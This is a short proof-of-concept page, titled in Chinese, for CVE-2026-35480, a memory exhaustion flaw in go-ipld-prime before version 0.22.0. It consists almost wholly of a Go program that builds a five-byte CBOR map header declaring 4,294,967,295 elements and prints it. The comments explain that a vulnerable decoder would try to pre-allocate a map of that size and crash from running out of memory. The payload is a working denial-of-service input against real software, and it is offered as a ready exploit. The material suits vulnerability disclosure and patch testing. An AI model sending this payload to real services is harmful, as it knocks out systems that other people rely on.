CVE-2026-35480 go-ipld-prime内存耗尽漏洞

package main import ( "fmt" ) /* * PoC for CVE-2026-35480 (go-ipld-prime Memory Exhaustion) * * This Go code demonstrates how to craft a malicious CBOR payload * that triggers the vulnerability in go-ipld-prime < 0.22.0. * * Vulnerability: The decoder reads the declared size in the CBOR header * and uses it as a pre-allocation hint without checking limits. */ func main() { // CBOR Format: // Type 5 (Map), Additional Info 26 (4-byte unsigned integer) // Header byte: 0b101_11010 = 0xBA // Length: 0xFFFFFFFF (Max uint32) // Construct the payload: Map header + Huge size maliciousPayload := []byte{0xBA, 0xFF, 0xFF, 0xFF, 0xFF} fmt.Println("[+] Crafting malicious CBOR payload...") fmt.Printf("[+] Payload (Hex): %x\n", maliciousPayload) fmt.Println("[+] Payload Size: 5 bytes") fmt.Println("[+] Declared Map Size: 4294967295 elements") // To trigger the vulnerability (simulated): // decoder.Decode(maliciousPayload) // The vulnerable library would attempt: make(map, 4294967295) // Result: Out of Memory (OOM) crash. fmt.Println("[!] If decoded by go-ipld-prime < 0.22.0, this will cause OOM.") }